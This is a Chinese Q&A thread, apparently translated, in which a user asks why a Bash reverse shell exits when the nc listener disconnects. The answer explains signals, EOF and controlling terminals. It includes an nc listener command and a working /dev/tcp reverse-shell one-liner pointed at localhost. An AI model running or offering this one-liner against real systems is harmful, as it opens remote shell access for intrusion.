Bash使用
使用exec
重定向所有主文件描述符會導致shell在程序存在後退出,具體取決於哪一端關閉連接?
我一直在
Bash
通過使用各種重定向運算符創建反向 shell 來練習我的技能。設置
nc
監聽器後:
nc -lvp 4444
我執行以下命令:
0<&116-; exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh
我無法解釋的是為什麼
/bin/sh
shell在連接斷開後退出,但只有當nc
shell通過按下斷開連接時才退出^C
?如果/bin/sh
shell斷開連接,那麼進入shell會^C
導致/bin/sh
shell中出現換行符nc
?
0<&116-;
不知道這應該實現什麼,除了觸發錯誤(除非 fd 116 已經打開,在這種情況下它也不會做任何值得注意的事情)。
迷惑讀者?
exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh
即使你通過socket將目前shell的stdin、stdout和stderr重定向到listening
nc
,目前終端仍然是shell的控制終端。目前終端中的 ^C 將發送 a
SIGINT
到前台作業,該作業(如果不等待另一個命令)是 shell 本身,它是互動式的,將擷取SIGINT
並在擷取它時重新列印其提示。另一個終端中的 ^C (在哪裡
nc -l ..
執行,shell 從哪裡獲取輸入並將其輸出列印到哪裡)將終止nc
並關閉其所有連接,導致 shell 由於EOF
其標準輸入而退出。同樣,尚不清楚額外
/bin/sh
的內容應該達到什麼目的。它將立即退出,因為它EOF
在 stdin 或SIGPIPE
/EPIPE
在它從其父級繼承的 stdout 上(與 的斷開連接nc
)。